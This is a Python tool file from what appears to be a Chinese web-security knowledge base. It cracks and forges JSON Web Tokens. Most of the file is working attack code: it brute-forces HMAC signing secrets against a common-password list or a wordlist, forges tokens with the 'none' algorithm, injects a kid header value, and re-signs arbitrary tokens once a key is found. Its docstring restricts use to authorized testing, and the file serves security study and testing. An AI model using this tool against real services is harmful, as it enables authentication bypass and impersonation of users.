文件
websafe-kb/03-authentication/jwt/tools/jwt-cracker.py

393 行
12 KiB
Python

#!/usr/bin/env python3
"""
JWT Cracker & Analyzer
JWT 弱密钥破解与分析工具
支持:
- JWT 结构解析
- 弱密钥暴力破解
- none 算法攻击
- kid 注入攻击
- 密钥泄露检测
Usage:
python3 jwt-cracker.py -t "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
python3 jwt-cracker.py -t "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." -w wordlist.txt
python3 jwt-cracker.py -t "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." --attack none
授权边界:
- 仅用于分析你方签发的 JWT、测试环境样本或已明确授权的令牌
- 不应用于来源不明或无授权的第三方生产令牌
- 验证输出应纳入测试记录,避免在共享日志中暴露敏感载荷
"""
import argparse
import base64
import json
import hmac
import hashlib
import time
from typing import Dict, Optional, Tuple, List
import sys
import re
class Colors:
RED = "\033[91m"
GREEN = "\033[92m"
YELLOW = "\033[93m"
BLUE = "\033[94m"
CYAN = "\033[96m"
END = "\033[0m"
BOLD = "\033[1m"
class JWTCracker:
def __init__(self):
self.common_secrets = [
"secret",
"password",
"123456",
"admin",
"key",
"jwt",
"token",
"secret123",
"password123",
"admin123",
"12345678",
"qwerty",
"letmein",
"welcome",
"monkey",
"dragon",
"master",
"login",
"abc123",
"111111",
"password1",
"iloveyou",
"trustno1",
"sunshine",
"princess",
"football",
"baseball",
"shadow",
"superman",
"michael",
"000000",
"654321",
"passw0rd",
"access",
"root",
"toor",
"guest",
"test",
"demo",
"default",
"changeme",
"server",
"api",
"private",
]
def print_result(self, level: str, msg: str):
colors = {
"INFO": Colors.BLUE,
"SUCCESS": Colors.GREEN,
"WARNING": Colors.YELLOW,
"ERROR": Colors.RED,
"FOUND": Colors.GREEN + Colors.BOLD,
}
print(f"{colors.get(level, '')}[{level}]{Colors.END} {msg}")
def base64url_decode(self, data: str) -> bytes:
"""Base64URL 解码"""
padding = 4 - len(data) % 4
if padding != 4:
data += "=" * padding
return base64.urlsafe_b64decode(data)
def base64url_encode(self, data: bytes) -> str:
"""Base64URL 编码"""
return base64.urlsafe_b64encode(data).rstrip(b"=").decode("utf-8")
def decode(self, token: str) -> Tuple[Dict, Dict, bytes]:
"""解码 JWT"""
try:
parts = token.split(".")
if len(parts) != 3:
raise ValueError("无效的 JWT 格式")
header = json.loads(self.base64url_decode(parts[0]))
payload = json.loads(self.base64url_decode(parts[1]))
signature = self.base64url_decode(parts[2])
return header, payload, signature
except Exception as e:
raise ValueError(f"JWT 解码失败: {e}")
def encode(
self, header: Dict, payload: Dict, secret: str = "", algorithm: str = "HS256"
) -> str:
"""编码 JWT"""
header_b64 = self.base64url_encode(
json.dumps(header, separators=(",", ":")).encode()
)
payload_b64 = self.base64url_encode(
json.dumps(payload, separators=(",", ":")).encode()
)
message = f"{header_b64}.{payload_b64}"
if algorithm.lower() == "none":
return f"{message}."
signature = self.sign(message, secret, algorithm)
signature_b64 = self.base64url_encode(signature)
return f"{message}.{signature_b64}"
def sign(self, message: str, secret: str, algorithm: str) -> bytes:
"""签名"""
algo_map = {
"HS256": hashlib.sha256,
"HS384": hashlib.sha384,
"HS512": hashlib.sha512,
}
if algorithm not in algo_map:
raise ValueError(f"不支持的算法: {algorithm}")
return hmac.new(secret.encode(), message.encode(), algo_map[algorithm]).digest()
def verify(self, token: str, secret: str) -> bool:
"""验证 JWT 签名"""
try:
header, payload, signature = self.decode(token)
algorithm = header.get("alg", "HS256")
parts = token.split(".")
message = f"{parts[0]}.{parts[1]}"
expected_sig = self.sign(message, secret, algorithm)
return hmac.compare_digest(signature, expected_sig)
except Exception:
return False
def crack(
self, token: str, wordlist: List[str] = None, verbose: bool = True
) -> Optional[str]:
"""暴力破解密钥"""
secrets = wordlist if wordlist else self.common_secrets
total = len(secrets)
if verbose:
self.print_result("INFO", f"开始破解 {total} 个密钥...")
start_time = time.time()
for i, secret in enumerate(secrets):
if verbose and i % 100 == 0:
print(
f"\r{Colors.CYAN}[*]{Colors.END} 进度: {i}/{total}",
end="",
flush=True,
)
if self.verify(token, secret):
if verbose:
print()
return secret
if verbose:
print()
return None
def attack_none_algorithm(self, token: str) -> str:
"""none 算法攻击"""
header, payload, _ = self.decode(token)
header["alg"] = "none"
return self.encode(header, payload, "", "none")
def attack_algorithm_confusion(self, token: str) -> str:
"""算法混淆攻击 (HS256 -> RS256)"""
header, payload, _ = self.decode(token)
header["alg"] = "HS256"
return self.encode(header, payload, "", "HS256")
def attack_kid_injection(self, token: str, injection: str = "/dev/null") -> str:
"""kid 注入攻击"""
header, payload, _ = self.decode(token)
header["kid"] = injection
return self.encode(header, payload, "", "HS256")
def analyze(self, token: str) -> Dict:
"""分析 JWT"""
try:
header, payload, signature = self.decode(token)
analysis = {
"header": header,
"payload": payload,
"algorithm": header.get("alg", "Unknown"),
"type": header.get("typ", "Unknown"),
"issues": [],
}
if header.get("alg") == "none":
analysis["issues"].append(
{
"severity": "HIGH",
"issue": "使用 none 算法",
"description": "JWT 使用 none 算法,无签名验证",
}
)
if header.get("alg") in ["HS256", "HS384", "HS512"]:
analysis["issues"].append(
{
"severity": "MEDIUM",
"issue": "使用对称加密",
"description": "使用 HMAC 算法,密钥可能被暴力破解",
}
)
sensitive_fields = ["password", "secret", "token", "key", "credit", "ssn"]
for field in sensitive_fields:
if field in str(payload).lower():
analysis["issues"].append(
{
"severity": "MEDIUM",
"issue": f"包含敏感字段: {field}",
"description": "Payload 可能包含敏感信息",
}
)
if "exp" in payload:
exp_time = payload["exp"]
if exp_time < time.time():
analysis["issues"].append(
{
"severity": "LOW",
"issue": "Token 已过期",
"description": f"过期时间: {time.ctime(exp_time)}",
}
)
else:
analysis["issues"].append(
{
"severity": "LOW",
"issue": "无过期时间",
"description": "Token 没有过期时间 (exp)",
}
)
return analysis
except Exception as e:
return {"error": str(e)}
def main():
parser = argparse.ArgumentParser(description="JWT Cracker & Analyzer")
parser.add_argument("-t", "--token", required=True, help="JWT Token")
parser.add_argument("-w", "--wordlist", help="密钥字典文件")
parser.add_argument(
"--attack", choices=["none", "kid", "confusion"], help="攻击类型"
)
parser.add_argument("--kid-injection", default="/dev/null", help="KID 注入值")
parser.add_argument("--analyze", action="store_true", help="分析 JWT")
parser.add_argument("-v", "--verbose", action="store_true", help="详细输出")
args = parser.parse_args()
cracker = JWTCracker()
print(f"\n{Colors.BOLD}{'=' * 60}{Colors.END}")
print(f"{Colors.BOLD}JWT Cracker & Analyzer{Colors.END}")
print(f"{Colors.BOLD}{'=' * 60}{Colors.END}\n")
try:
header, payload, _ = cracker.decode(args.token)
print(f"{Colors.CYAN}Header:{Colors.END}")
print(f" {json.dumps(header, indent=2)}")
print(f"\n{Colors.CYAN}Payload:{Colors.END}")
print(f" {json.dumps(payload, indent=2)}")
except Exception as e:
cracker.print_result("ERROR", str(e))
sys.exit(1)
if args.analyze:
print(f"\n{Colors.CYAN}Analysis:{Colors.END}")
analysis = cracker.analyze(args.token)
if "issues" in analysis:
for issue in analysis["issues"]:
color = (
Colors.RED
if issue["severity"] == "HIGH"
else Colors.YELLOW
if issue["severity"] == "MEDIUM"
else Colors.BLUE
)
print(f" {color}[{issue['severity']}]{Colors.END} {issue['issue']}")
print(f" {issue['description']}")
if args.attack:
print(f"\n{Colors.CYAN}Attack: {args.attack}{Colors.END}")
if args.attack == "none":
forged = cracker.attack_none_algorithm(args.token)
cracker.print_result("SUCCESS", f"Forged Token (none): {forged}")
elif args.attack == "kid":
forged = cracker.attack_kid_injection(args.token, args.kid_injection)
cracker.print_result("SUCCESS", f"Forged Token (kid): {forged}")
elif args.attack == "confusion":
forged = cracker.attack_algorithm_confusion(args.token)
cracker.print_result("INFO", "需要公钥来利用算法混淆攻击")
wordlist = None
if args.wordlist:
try:
with open(args.wordlist, "r") as f:
wordlist = [line.strip() for line in f if line.strip()]
except FileNotFoundError:
cracker.print_result("ERROR", f"字典文件不存在: {args.wordlist}")
sys.exit(1)
print(f"\n{Colors.CYAN}Cracking...{Colors.END}")
start = time.time()
secret = cracker.crack(args.token, wordlist, args.verbose)
elapsed = time.time() - start
if secret:
cracker.print_result("FOUND", f"密钥破解成功: {secret}")
cracker.print_result("INFO", f"耗时: {elapsed:.2f}s")
forged = cracker.encode(header, payload, secret, header.get("alg", "HS256"))
cracker.print_result("SUCCESS", f"可以伪造任意 Token")
else:
cracker.print_result(
"WARNING",
f"未能破解密钥 (尝试了 {len(wordlist) if wordlist else len(cracker.common_secrets)} 个)",
)
print(f"\n{Colors.BOLD}{'=' * 60}{Colors.END}\n")
if __name__ == "__main__":
main()